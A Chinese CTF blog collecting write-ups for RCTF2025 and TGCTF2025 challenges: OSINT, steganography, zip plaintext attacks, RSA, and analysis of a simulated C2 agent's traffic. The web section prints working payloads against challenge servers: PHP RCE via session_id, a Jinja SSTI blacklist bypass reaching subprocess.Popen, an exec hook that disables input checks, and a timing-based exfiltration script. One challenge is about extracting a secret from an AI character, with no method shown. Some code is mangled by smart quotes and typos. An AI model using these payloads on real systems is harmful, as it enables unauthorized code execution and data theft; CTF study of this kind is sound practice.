# 自动选择出现最多包的源 IP

target_src, _ = src_counter.most_common(1)[0]

print("Selected source IP:", target_src)

  

# 选择该源IP中出现次数最多的 TTL 作为 base_ttl

ttl_counter = ttl_per_src[target_src]

base_ttl, _ = ttl_counter.most_common(1)[0]

print("Base TTL:", base_ttl)

  

# 提取异常 TTL

raw_ttls = [pkt[IP].ttl for pkt in packets

            if IP in pkt and pkt[IP].src == target_src and pkt[IP].ttl != base_ttl]

  

# 去重

clean_ttls = []

for t in raw_ttls:

    if not clean_ttls or clean_ttls[-1] != t:

        clean_ttls.append(t)

  

# 转 ASCII

flag = ''.join(chr(t) for t in clean_ttls)

print("Decoded:", flag)

Burger King

给了一个svg文件和zip

看到算法是 ZipCrypto Store就可以锁定明文攻击了
.svg内容为 <svg xmlns="http://www.w3.org/2000/svg"
是svg文件对应的类似魔数的声明就 <!DOCTYPE HTML> 一样
bkcrack撞一下就出了

在Hole.svg中

OSINT

Where’s Legally

整个系列都是常规的图寻从谷歌地球里面翻GMU校园就都能找到了很好找

Waldo’s Nignt Out

给了三套图分别对应三个地点
也算是常规图寻主要是看题目说的 Virginia 全都在弗吉尼亚
附件不在了只能陈述回忆了
location 1 是废弃的Skyzone，可以找到相关废弃地点探险的帖子
location 2 识图到的
location 3 有一张图片有两个电话号码能通过其他图片推断出是酒店
带着下面的电话号码和hotel就能搜到了

Kittiez!!!

题目给了一个 hash
拿到hint 和 malware有关
上x搜kitty malware 能搜到一个组织

https://vx-underground.org/
在他的主页有一个网盘 archive 里有很多猫猫图片下载下来遍历 md5 找到对应图片就可以
图片在压缩包3中

RCTF2025-Misc Writeup

Mon, 15 Sep 2025 00:00:00 +0000

好多事情都堆在一起累死了

我是菜逼轻点喷

✏️ http://1.14.196.78/

涂完色后会添加score参数

改到100尝试

Speak Softly Love

Let’s Speak Softly Love on 8086
Online:
http://1.95.196.4:26001/
http://1.95.196.4:26002/
http://1.95.196.4:26003/
The attachments can be downloaded via the following two optional links.
https://pan.baidu.com/s/16dthSYT1ETLx1C9rppRQ8w?pwd=njkw
https://drive.google.com/file/d/1UeqMrgVi0B7UmlYMRrOvI-M3wAgB07aQ/view?usp=sharing

Challenge 1: Video ID

Even with the limited hardware of that era, this small player could still produce surprisingly gentle melodies. Please help me locate the ID of the original upload of this piece.

https://www.youtube.com/watch?v=8ssDGBTssUI => 8ssDGBTssUI

Challenge 2: Code Revision

The developer behind it has quietly maintained his corner of the net for many years. Please help me locate the version entry in the author’s own code history where he introduced a safeguard to prevent endless “soft error” loops caused by missing playlist items.

视频简介有链接 https://mateusz.fr/dosmid/

代码用svn管理

https://sourceforge.net/projects/tortoisesvn/files/1.14.9/Application/TortoiseSVN-1.14.9.29743-x64-svn-1.14.5.msi/download

r178

Challenge 3: Name-pronunciation URL

The developer has quietly maintained his corner of the net for many years. Please help me locate the full URL that points to the recording in which he pronounces his own name.

搜索引擎可以查到作者的主页 https://mateusz.viste.fr/

在最下方

https://mateusz.viste.fr/mateusz.ogg

Challenge 4: Donation address

The developer has quietly maintained his corner of the net for many years — a place filled with personal tools, archived ideas, and even a way to show appreciation if his work ever brought you something valuable. Please help me locate the address he published for donations in digital currency.

作者维护了一个 Gopherspace 节点 对应题目中的 maintained his corner

用w3m连接

看到Donate

My bitcoin address: 16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT

最终Flag:RCTF{wh3n_8086_s4ng_s0f7ly_0f_l0v3}

Wanna Feel Love

She only wanted to sing.
She wants to tell you.
She just feels love.
Online:
http://101.245.99.131:26001/
http://101.245.99.131:26002/
http://101.245.99.131:26003/

Challenge 1

She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.

垃圾邮件编码

https://www.spammimic.com/decode.cgi 解密

得到 Don't just listen to the sound; this file is hiding an 'old relic.' Try looking for the 'comments' that the player isn't supposed to see.

Challenge 2

She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.

查看hex数据发现提示用openMRT打开

Comments和Instrument有提示

They say if you trace the peaks carefully enough, it spells a sentence that was never meant to be heard.

Can Anybody Extract The urban Legend Information About "Feel" From this XM file

发现sample5叫Feel 且波形很特殊提取出来

可以看到最小的单位是0.05s 并且阈值是0.5

写脚本提取数据

import numpy as np
from scipy.io import wavfile

# --------------------
#      参数
# --------------------
wav_path = "Feel.wav"
segment_duration = 0.05  # 50ms

# --------------------
#      读取 WAV
# --------------------
sample_rate, data = wavfile.read(wav_path)

# 如果是立体声，取第一轨
if data.ndim > 1:
    data = data[:, 0]

# 转 float32 并归一化
data = data.astype(np.float32)
max_val = np.max(np.abs(data))
if max_val > 0:
    data = data / max_val

segment_samples = int(segment_duration * sample_rate)


# --------------------
#   计算每段 RMS
# --------------------
rms_list = []
for start in range(0, len(data), segment_samples):
    segment = data[start:start + segment_samples]
    if len(segment) == 0:
        continue

    rms = np.sqrt(np.mean(segment ** 2))
    rms_list.append(rms)

rms_array = np.array(rms_list)


# --------------------
#   动态阈值（自动分 0/1）
# --------------------
sorted_rms = np.sort(rms_array)
diffs = np.diff(sorted_rms)
split_index = np.argmax(diffs)

threshold = (sorted_rms[split_index] + sorted_rms[split_index + 1]) / 2

print("动态阈值 =", threshold)


# --------------------
#   生成 01 序列
# --------------------
bits = ["1" if r > threshold else "0" for r in rms_array]
bit_string = "".join(bits)  # bits 是你的 0/1 列表

result = ""
for i in range(0, len(bit_string), 8):
    byte = bit_string[i:i+8]
    if len(byte) == 8:
        try:
            result += chr(int(byte, 2))
        except:
            result += "?"

print("\nASCII 解码结果:")
print(result)

I Feel Fantastic heyheyhey

Challenge 3

She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.

这玩意甚至有 wiki

继续搜索找到https://creepy-videos.fandom.com/wiki/I_Feel_Fantastic 里面的链接是https://www.youtube.com/watch?v=rLy-AwdCOmI

失效了去archive看

Challenge 4

Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?

回到Wiki

https://yitzilitt.medium.com/the-story-behind-i-feel-fantastic-tara-the-singing-android-and-john-bergeron-fc83de9e8f36

Challenge 5

Some called her creator a murderer, others said he built her out of love. She only wanted to sing. She wants to tell you. She just feels love. The truth lies in older archives — an obituary, a quiet memorial, where the story of her creator rests in digital silence. Find the developer’s digital grave. (URL, no trailing slash)

作者是John Bergeron

https://www.findagrave.com/memorial/63520325/john-louis-bergeron

最终Flag:RCTF{sh3_ju5t_f33ls_l0v3_thr0ugh_w1r3s_4nd_t1m3}

Shadows of Asgard

Background Story
During a red team exercise, Loki the Trickster successfully compromised Thor’s machine and planted a backdoor. Thor discovered the anomaly and identified Loki’s C2 server IP, but as a script kiddie, he only knows how to run directory scanners and has no idea how to counterattack.
In desperation, Thor captured all the network traffic and came to you for help. The AllFather Odin watches from his throne, curious to see if you possess the wisdom to unravel Loki’s schemes.
“In the halls of Asgard, deception wears many faces. Even Huginn and Muninn, Odin’s ravens, struggle to discern truth from illusion when Loki weaves his tricks.”
Online：
http://1.95.68.35:26001/
http://1.95.68.35:26002/
http://1.95.68.35:26003/

Loki C2流量

Challenge 1: The Merchant’s Mask

Loki, master of disguise, never reveals his true intentions at first glance. His C2 server hides behind a false front—a seemingly legitimate corporate website designed to fool mortal eyes.

What is the name of the company Loki used as camouflage on his C2 server’s front page?

HTML可以搜到 渊恒科技

Challenge 2: The Parasite’s Nest

Like a serpent hiding in Yggdrasil’s roots, Loki’s backdoor didn’t run standalone—it parasitized an existing process on Thor’s machine to avoid detection.

Identify the complete file path where Loki’s C2 agent was running.

交互报文以 Content-Type: application/json 传输

包含aesKey 和 aesIV 、data ，解密

C:\\Users\\dell\\Desktop\\Microsoft VS Code\\Code.exe

Challenge 3: The Hidden Rune

Loki commanded his agent to reveal its current working directory. But the Trickster is never straightforward—his commands are hidden in layers of encryption and steganography.

What is the taskId for the pwd command that Loki executed?

pcapng中还存在多个异常的png，将tEXt 块中Comment 作为密文，使用相同的key解密即可找到

c0c6125e

Challenge 4: The Forge of Time

In Midgard, every realm has its moment of creation. Loki probed Thor’s machine to learn when its primary storage was first forged.

When was Thor’s C: drive created?

发现 outputChannel":"o-wup8k5bgwft"对应drives 命令

2018-09-14 23:09:26

Challenge 5: Raven’s Ominous Gift

“Two ravens sit upon Odin’s shoulders: Huginn (thought) and Muninn (memory). But there is a third raven in Norse tales—one that follows Loki, a harbinger of mischief. They say this raven is inauspicious, a dark omen of trickery to come.”

In the final act of his infiltration, Loki left behind a parting gift—a file hidden in plain sight on Thor’s compromised machine. This raven’s message contains the truth you seek.

What secret message did Loki hide in the file he uploaded?

channel o-2ggeq7qpt2u 对应 File saved to C:\Users\dell\Desktop\Microsoft VS Code\fllllag.txt (43 bytes)

RCTF{they always say Raven is inauspicious}

最终Flag : RCTF{Wh3n_Th3_R4v3n_S1ngs_4sg4rd_F4lls_S1l3nt}

The Alchemist’s Cage

Welcome to “The Alchemist’s Cage.” In this forge, you’ll challenge a paranoid AI Alchemist to create a Golem from a “soul seed,” forging a flawed being sworn to protect a secret. You have only five turns to interrogate your creation, exploit its personality flaw, and coax out the hidden rune it guards. Uncover the secret before the Golem is shattered and its knowledge is lost forever.

Online Environment: 👉Click Here👈

⚠ Notice:
A 503 page means the service is still being created — please wait patiently.

没啥可说的记录如图

514

Welcome to “The Alchemist’s Cage.” In this forge, you’ll challenge a paranoid AI Alchemist to create a Golem from a “soul seed,” forging a flawed being sworn to protect a secret. You have only five turns to interrogate your creation, exploit its personality flaw, and coax out the hidden rune it guards. Uncover the secret before the Golem is shattered and its knowledge is lost forever.

Online Environment: 👉Click Here👈

⚠ Notice:
A 503 page means the service is still being created — please wait patiently

找到利用点是 text 了但是没想到用iframe

Asgard Fallen Down

“Asgard fallen down, fallen down, fallen down,
Asgard fallen down, my fair lightning…”

The first breach was a lesson. The second breach was a catastrophe.

Loki returned, not with louder thunder, but with deeper silence. He learned from his defeat—learned that the best place to hide is not in darkness, but in the blinding light of chaos. This time, when he struck, he did so while Thor himself hammered at his gates.

Thor, determined to turn the tables, launched a full assault on Loki’s C2 infrastructure. Vulnerability scanners roared like Mjölnir’s thunder. Directory brute-forcers swept like Heimdall’s gaze across every path. The network burned with the fury of Asgard’s vengeance.

But Loki had already won.
Online：
http://1.95.68.35:26011/
http://1.95.68.35:26012/
http://1.95.68.35:26013/

还是Loki C2

怎么这玩意最近出这么多 GG也出了

Challenge 1: The First Command

After successfully infiltrating Thor’s machine, Loki’s agent came to life. Like all beginnings, the first action reveals intent.

Hidden among thousands of scanning requests and server responses, Loki issued his opening move—the first command that set his plan in motion.

Question: What was the first command Loki executed after his agent established connection?

Flag Format: complete_command (The exact command Loki sent to the agent)

发现 /contact 传了base64

解码后是

{"systemInfo":{"hostname":"DESKTOP-EO5QI9P","username":"dell","osType":"Windows_NT","osRelease":"10.0.17763","platform":"win32","arch":"x64","PID":4424,"Process":"C:\\Users\\dell\\Desktop\\Microsoft VS Code\\Code.exe","IP":["192.168.77.140"],"mode":"egress"},"timestamp":1763185526894,"signature":"crCZOGosG07B43yK1t5Jw+CMxgA/tRc7MNE14SRiYJM="}

有问题然后看到响应中的注释 build和version分别是AES的KEY和IV

下面紧接着又出现了build

解密得到第一次执行的命令 spawn whoami

Challenge 2: The Heartbeat

Thor’s attacks were chaotic—random intervals, sporadic bursts, the rhythm of fury. But Loki’s agent operated with cold precision.

Buried in the noise, the agent sent regular heartbeats back to its master, each pulse proving it remained alive and obedient. These signals followed a steady cadence, mechanical and unwavering.

Find the pattern. Find the pulse.

Question: How many seconds passed between each heartbeat of Loki’s agent?

Flag Format: integer (e.g., 30)

发现 /styles/theme.css 的 X-Cache-Data 是响应

过滤一下看时间

可以看出来心跳差不多是10秒

10

Challenge 3: The Heart of Iron

“Every warrior has a heart that drives them. For mortals, it beats with blood. For machines, it pulses with silicon and electricity. Loki, ever curious, sought to know the very core of Thor’s weapon—the processor that powers his digital fortress.”

During his infiltration, Loki commanded his agent to enumerate the environment, cataloging every detail of Thor’s system. Among the mundane variables and paths, one piece of information reveals the machine’s very identity—its processor, the beating heart of computation.

Like a smith examining the forge that created a sword, Loki identified the specific metal and make of Thor’s processor.

Question: What processor model powers Thor’s machine?

Flag Format: Complete_Processor_Model_String (e.g., Intel64 Family 6 Model 85 Stepping 4, GenuineIntel

先提取出来所有报文

{"command":"spawn whoami","outputChannel":"o-27kgboxah4l","taskId":"71c17c09"}
{"outputChannel":"o-27kgboxah4l","result":"desktop-eo5qi9p\\dell","timestamp":1763185539163}


{"command":"pwd","outputChannel":"o-7px87l7ja52","taskId":"ca8864bf"}
{"outputChannel":"o-7px87l7ja52","result":"C:\\Users\\dell\\Desktop\\Microsoft VS Code","timestamp":1763185550520}

{"command":"cd ..","outputChannel":"o-8hpo9uozrus","taskId":"476f8331"}
{"outputChannel":"o-8hpo9uozrus","result":"Changed directory to C:\\Users\\dell\\Desktop","timestamp":1763185563172}

{"command":"env","outputChannel":"o-lbgp59stp4","taskId":"e7f2ddd1"}
{"outputChannel":"o-lbgp59stp4","result":"{\n  \"ALLUSERSPROFILE\": \"C:\\\\ProgramData\",\n  \"APPDATA\": \"C:\\\\Users\\\\dell\\\\AppData\\\\Roaming\",\n  \"CommonProgramFiles\": \"C:\\\\Program Files\\\\Common Files\",\n  \"CommonProgramFiles(x86)\": \"C:\\\\Program Files (x86)\\\\Common Files\",\n  \"CommonProgramW6432\": \"C:\\\\Program Files\\\\Common Files\",\n  \"COMPUTERNAME\": \"DESKTOP-EO5QI9P\",\n  \"ComSpec\": \"C:\\\\Windows\\\\system32\\\\cmd.exe\",\n  \"DriverData\": \"C:\\\\Windows\\\\System32\\\\Drivers\\\\DriverData\",\n  \"HOMEDRIVE\": \"C:\",\n  \"HOMEPATH\": \"\\\\Users\\\\dell\",\n  \"LOCALAPPDATA\": \"C:\\\\Users\\\\dell\\\\AppData\\\\Local\",\n  \"LOGONSERVER\": \"\\\\\\\\DESKTOP-EO5QI9P\",\n  \"NUMBER_OF_PROCESSORS\": \"2\",\n  \"ORIGINAL_XDG_CURRENT_DESKTOP\": \"undefined\",\n  \"OS\": \"Windows_NT\",\n  \"Path\": \"C:\\\\Windows\\\\system32;C:\\\\Windows;C:\\\\Windows\\\\System32\\\\Wbem;C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\;C:\\\\Windows\\\\System32\\\\OpenSSH\\\\;C:\\\\Users\\\\dell\\\\AppData\\\\Local\\\\Microsoft\\\\WindowsApps;\",\n  \"PATHEXT\": \".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC\",\n  \"PROCESSOR_ARCHITECTURE\": \"AMD64\",\n  \"PROCESSOR_IDENTIFIER\": \"Intel64 Family 6 Model 191 Stepping 2, GenuineIntel\",\n  \"PROCESSOR_LEVEL\": \"6\",\n  \"PROCESSOR_REVISION\": \"bf02\",\n  \"ProgramData\": \"C:\\\\ProgramData\",\n  \"ProgramFiles\": \"C:\\\\Program Files\",\n  \"ProgramFiles(x86)\": \"C:\\\\Program Files (x86)\",\n  \"ProgramW6432\": \"C:\\\\Program Files\",\n  \"PSModulePath\": \"C:\\\\Program Files\\\\WindowsPowerShell\\\\Modules;C:\\\\Windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\Modules\",\n  \"PUBLIC\": \"C:\\\\Users\\\\Public\",\n  \"SESSIONNAME\": \"Console\",\n  \"SystemDrive\": \"C:\",\n  \"SystemRoot\": \"C:\\\\Windows\",\n  \"TEMP\": \"C:\\\\Users\\\\dell\\\\AppData\\\\Local\\\\Temp\",\n  \"TMP\": \"C:\\\\Users\\\\dell\\\\AppData\\\\Local\\\\Temp\",\n  \"USERDOMAIN\": \"DESKTOP-EO5QI9P\",\n  \"USERDOMAIN_ROAMINGPROFILE\": \"DESKTOP-EO5QI9P\",\n  \"USERNAME\": \"dell\",\n  \"USERPROFILE\": \"C:\\\\Users\\\\dell\",\n  \"windir\": \"C:\\\\Windows\"\n}","timestamp":1763185574274}

{"command":"scan 127.0.0.1 -p80,445","outputChannel":"o-57dl7fujisl","taskId":"a2b60122"}
{"outputChannel":"o-57dl7fujisl","result":"127.0.0.1: 445","timestamp":1763185585787}

Intel64 Family 6 Model 191 Stepping 2, GenuineIntel

Challenge 4: Odin’s Eye

“Odin sacrificed his eye to drink from Mimir’s well and gain wisdom. Loki needs no such sacrifice—he simply steals the sight of others.”

In the final moments before vanishing, Loki commanded his agent to capture what Thor’s own eyes were seeing—a snapshot of the screen, frozen in time. Within this stolen image lies evidence of Thor’s own weapons, the very tools he was using to hunt Loki.

The irony is exquisite: Thor’s scanner, visible on his own screen, was documented by the very enemy he sought to find.

Question: According to the screenshot Loki exfiltrated, which vulnerability scanning tool was Thor running at that moment?

Flag Format: ToolGithubRepoName (e.g., if the tool’s repository is https://github.com/user/AwesomeTool, answer AwesomeTool)

解密出一条 {“command”:“screenshot”,“outputChannel”:“o-ynfqv9m6nx8”,“taskId”:“ec409ca6”} 截图命令

响应的截图分15个区块

将所有区块拼接在一起解密

再对result 进行b64解码

得到图片

工具是无影(TscanPlus) 仓库地址 https://github.com/TideSec/TscanPlus

最终Flag：RCTF{Wh1l3_Th0r_Struck_L1ghtn1ng_L0k1_St0l3_Th3_Thr0n3}

TGCTF2025 部分WriteUp

Fri, 01 Aug 2025 00:00:00 +0000

Crypto

AAAAAAAA·真·签到

给你flag签个到好了

诶，我的flag怎么了？？？？

好像字母对不上了

我的签到怎么办呀，急急急

听说福来阁好像是TGCTF开头的喔

UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}

变种凯撒

cipher = ‘UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}’

flag = ''

offset = -1

for i in range(len(cipher)):

if cipher[i].isalpha():

if cipher[i].isupper():

flag += chr(((ord(cipher[i]) - ord(‘A’) + offset + i) % 26) + ord(‘A’))

else:

flag += chr(((ord(cipher[i]) - ord(‘a’) + offset + i) % 26) + ord(‘a’))

else:

flag += cipher[i]

print(flag)

TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}

费克特尔

c=670610235999012099846283721569059674725712804950807955010725968103642359765806

n=810544624661213367964996895060815354972889892659483948276203088055391907479553

e=65537

题目直接叫factor了上factordb分解下n

n = 113 · 18251 · 2001511 · 214168842768662180574654641 · 916848439436544911290378588839845528581

from math import gcd

from Crypto.Util.number import inverse, long_to_bytes

c = 670610235999012099846283721569059674725712804950807955010725968103642359765806

n = 810544624661213367964996895060815354972889892659483948276203088055391907479553

e = 65537

factors = [ 113, 18251, 2001511, 214168842768662180574654641, 916848439436544911290378588839845528581]

phi = 1

for i in factors:

phi *= (i - 1)

d = inverse(e, phi)

m = pow(c, d, n)

message = long_to_bytes(m)

print(“Flag:” + message.decode(‘utf-8’))

TGCTF{f4888_6abdc_9c2bd_9036bb}

Misc

next is the end

n层嵌套的文件夹写个脚本

import os

current_path = os.getcwd() + r"\next_or_end" # 初始路径

depth = 0

while “next_or_end” in os.listdir(current_path):

current_path = os.path.join(current_path, “next_or_end”)

if “next_or_end” in os.listdir(current_path):

depth += 1

else:

break

print(f"最终深度: {depth}")

print(f"最终路径: {current_path}")

finalpath = os.path.join(current_path, ‘you_get_it’)

filepath = os.path.join(finalpath, ‘flag.txt’)

with open(filepath, ‘r’) as file:

flag = file.read()

print(flag)

where it is(osint)

截取学校部分的图片识图找到学校是[臺北市立內湖高級工業職業學校](https://www.nihs.tp.edu.tw/" \t “_blank)

上谷歌地图找

根据街景就能确认这个站点

这是啥o_o

附件中是一个Gif文件帧分离后可得到后几帧中的图片碎片拼图后是汉信码

中国编码app可以识别结果是time is your fortune ,efficiency is your life

这是出题人给的hint 关注时间于是发现是帧间隔隐写

人话就是通过GIF动画每帧图片之间的间隔隐写信息

import os

from PIL import Image

def get_gif_durations(gif_path):

try:

with Image.open(gif_path) as img:

durations = []

while True:

try:

durations.append(img.info.get(‘duration’, 0))

img.seek(img.tell() + 1)

except EOFError:

break

return durations

except Exception as e:

print(f"Error: {str(e)}”)

return None

path = os.getcwd() + r"\a.gif"

result = get_gif_durations(path)

flag = '’

if result:

for i, duration in enumerate(result):

flag += chr(duration // 10)

print(flag)

TGCTF{You_caught_up_with_time!}

ez_zip

爆破压缩包

密码20250412 解压出来文件夹有一个sh512.txt 内容为 Awesome,you_are_so_good

End压缩包中也有一个sh512.txt

计算sha512

发现CRC一样那就好办了明文攻击密钥[ b39bc130 8183a9f1 d5381ad8 ] 解压出flag.zip

010看一下

两个问题

文件名应是flag.txt，长度应为8，而文件中为4 改回8
文件是压缩过的，但标记为STORED 改回Deflate

解压修复后的压缩包提取出flag.txt

TGCTF{Warrior_You_have_defeated_the_giant_dragon!}

参考：[压缩包Zip格式详析](https://blog.csdn.net/qq_43278826/article/details/118436116" \t “_blank)

你能发现图中的秘密吗？

给了一个压缩包+一张图片

图片存在lsb key=i_1ove_y0u 是压缩包密码

解压出一张图片一个PDF

PDF用ps打开

存在flag图层是flag2

查看另一张图片的IDAT结构

发现最后一个IDAT块巨大无比可能是藏了一张图片删掉其他的IDAT块后爆破宽高

TGCTF{you_are_so_attentive_and_conscientious}

TeamGipsy&ctfer

唯一一道取证题，但是感觉也不大像取证最难的地方在于从百度网盘下载

DiskGenius挂载一下硬盘

在桌面找到一个mimi.txt

Reverse

Base64

IDA分析代码

初步判断是一个自定义的Base64码表跟进函数sub_1400010E0查看具体如何实现

太长了丢给deepseek

分析

自定义Base64编码表：题目中使用了一个自定义的Base64编码表GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI。
编码逻辑：每个6位值x被转换为编码表中的索引(x + 24) % 64。
解码逻辑：解码时需要将每个字符的索引转换为(索引 - 24) % 64，然后将这些6位值组合成原始字节。

custom_base64_table = “GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI”

table = {char: idx for idx, char in enumerate(custom_base64_table)}

def decode_custom_base64(encoded):

encoded = encoded.rstrip(’=’)

decoded_bytes = []

for c in encoded:

if c not in table:

raise ValueError(f"Invalid character: {c}”)

index = table[c]

x = (index - 24) % 64

decoded_bytes.append(x)

# 将6位数值转换为二进制字符串

bit_str = ‘’.join([bin(b)[2:].zfill(6) for b in decoded_bytes])

# 将二进制字符串转换为字节

byte_arr = bytearray()

for i in range(0, len(bit_str), 8):

byte = bit_str[i:i+8]

if len(byte) < 8:

break

byte_arr.append(int(byte, 2))

return bytes(byte_arr)

encoded_str = “AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=”

decoded_data = decode_custom_base64(encoded_str)

flag = decoded_data

print(flag.decode())

HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}

Web

TG_wordpress

四个方向都可以拿hint 挑最简单的了

.DS_Store泄露拿到RSA密钥和密文解出wp账密

登录后看到插件有file manager 一眼丁真了

AAA偷渡阴平

非预期解了

Payload：tgctf2025=chdir(DIRECTORY_SEPARATOR);highlight_file(flag);

AAA偷渡阴平（复仇）

SESSION和2没被waf

参考：[RCE篇之无参数rce](https://www.cnblogs.com/pursue-security/p/15406272.html" \t “_blank)

对命令文本转换为16进制

cat /flag => 636174202f666c6167

Payload：tgctf2025=session_start();system(hex2bin(session_id()));

set Cookie：PHPSESSID=636174202f666c6167

直面天命

非预期

提示爆破4字母路由找到 /aazz

可以传参爆破出参数 filename

Payload：filename=/flag

直面天命（复仇）

访问/aazz 拿到题目源码审计代码

import os

import string

from flask import Flask, request, render_template_string, jsonify, send_from_directory

from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=[’lipsum’,’|’,’%’,’{’,’}’,‘map’,‘chr’, ‘value’, ‘get’, “url”, ‘pop’,‘include’,‘popen’,‘os’,‘import’,’eval’,’_’,‘system’,‘read’,‘base’,‘globals’,’_.’,‘set’,‘application’,‘getitem’,‘request’, ‘+’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’]

def waf(name):

for x in black_list:

if x in name.lower():

return True

return False

def is_typable(char):

# 定义可通过标准 QWERTY 键盘输入的字符集

typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace

return char in typable_chars

@app.route(’/’)

def home():

return send_from_directory(‘static’, ‘index.html’)

@app.route(’/jingu’, methods=[‘POST’])

def greet():

template1=”"

template2=""

name = request.form.get(’name’)

template = f’{name}’

if waf(name):

template = ‘想干坏事了是吧hacker？哼，还天命人，可笑，可悲，可叹

Image’

else:

k=0

for i in name:

if is_typable(i):

continue

k=1

break

if k==1:

if not (secret_key[:2] in name and secret_key[2:]):

template = ‘连“六根”都凑不齐，谈什么天命不天命的，还是戴上这金箍吧

再去西行历练历练

Image’

return render_template_string(template)

template1 = ““六根”也凑齐了，你已经可以直面天命了！我帮你把“secret_key”替换为了“{{}}”

最后，如果你用了cat，就可以见到齐天大圣了

template= template.replace(“天命”,”{{").replace(“难违”,"}}")

template = template

if “cat” in template:

template2 = '

或许你这只叫天命人的猴子，真的能做到？

Image’

try:

return template1+render_template_string(template)+render_template_string(template2)

except Exception as e:

error_message = f"500报错了，查询语句如下：

{template}"

return error_message, 400

@app.route(’/hint’, methods=[‘GET’])

def hinter():

template=“hint：

有一个aazz路由，去那里看看吧，天命人!”

return render_template_string(template)

@app.route(’/aazz’, methods=[‘GET’])

def finder():

with open(__file__, ‘r’) as f:

source_code = f.read()

return f"

{source_code}

“, 200, {‘Content-Type’: ’text/html; charset=utf-8’}

if __name__ == ‘__main__’:

app.run(host=‘0.0.0.0’, port=80)

SSTI题目

template1 = ““六根”也凑齐了，你已经可以直面天命了！我帮你把“secret_key”替换为了“{{}} 最后，如果你用了cat，就可以见到齐天大圣了”

template= template.replace(“天命”,”{{").replace(“难违”,"}}")

可以看出 secret_key 是天命难违

Hex绕过waf

获取模块列表找到subprocess.Popen 索引为351

POST：name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()难违

POST：name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]+["\x5f\x5fsubclasses\x5f\x5f"]()[351](’ls ‘,shell=True,stdout=-1).communicate()[0]难违

POST：name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]+["\x5f\x5fsubclasses\x5f\x5f"]()[351](‘cat tgffff11111aaaagggggggg’,shell=True,stdout=-1).communicate()[0]难违

熟悉的配方，熟悉的味道

from pyramid.config import Configurator

from pyramid.request import Request

from pyramid.response import Response

from pyramid.view import view_config

from wsgiref.simple_server import make_server

from pyramid.events import NewResponse

import re

from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码

‘__builtins__’: {}, # 禁用所有内置函数

‘__import__’: None # 禁止动态导入

}

def checkExpr(expr_input):

expr = re.split(r"[-+*/]", expr_input)

print(exec(expr_input))

if len(expr) != 2:

return 0

try:

int(expr[0])

int(expr[1])

except:

return 0

return 1

def home_view(request):

expr_input = ""

result = ""

if request.method == ‘POST’:

expr_input = request.POST[’expr’]

if checkExpr(expr_input):

try:

result = eval(expr_input, eval_globals)

except Exception as e:

result = e

else:

result = “爬！”

template_str = 【xxx】

env = Environment(loader=BaseLoader())

template = env.from_string(template_str)

rendered = template.render(expr_input=expr_input, result=result)

return Response(rendered)

if __name__ == ‘__main__’:

with Configurator() as config:

config.add_route(‘home_view’, ‘/’)

config.add_view(home_view, route_name=‘home_view’)

app = config.make_wsgi_app()

server = make_server(‘0.0.0.0’, 9040, app)

server.serve_forever()

内存马

审计代码发现 checkExpr函数中存在一行print(exec(expr_input))且无校验

按顺序执行两条命令直接覆盖掉检测

global eval_globals; eval_globals = {} #覆盖黑名单

global checkExpr; checkExpr = lambda x: 1 #HOOK检测函数，使其永远返回1

RCE

__import__(‘os’).popen(’ls /’).readlines()

__import__(‘os’).popen(‘cat /flagggggg_tgctf2025_asjdklalkcnkjassjhdlk’).readlines()

SSTI 时间/报错盲注

import requests as request

import string

import time

url=‘http://127.0.0.1:8102/’

flag =’’

for i in 64(100):

for char in string.printable:

code = f"““import os

import time

t = os.popen(‘cat /fl*’).read()

if len(t)>{i} and t[{i}]==’{char}’:

time.sleep(2)

"””

startTime = time.time()

request.post(url, data={’expr’: code})

endTime = time.time()

if endTime - startTime >= 2:

flag += char

print(char, end=’’)

break

else:

continue

print(’\nFound flag:’, flag)

前端GAME / PLUS / ULTRA

三个CVE

[Vite Dev Server Vulnerability Scanner](https://github.com/xuemian168/CVE-2025-30208/" \t “_blank)

火眼辩魑魅

/robots.txt

User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php

tgshell.php 蚁剑直接连

MISC 入门指北

Sun, 01 Jun 2025 00:00:00 +0000

MISC 入门指北

By Mnzn : ) 🔗 一个存在感为 0 的博客

前情提要：

什么是"Misc"?

“当你分不清一道题应该是什么类型时，那么他就是 Misc。”

在 CTF (Capture The Flag) 比赛各大方向中，Misc常常被视为“最容易最简单”的领域，一开始我也是这么认为的，但事实真的如此吗？

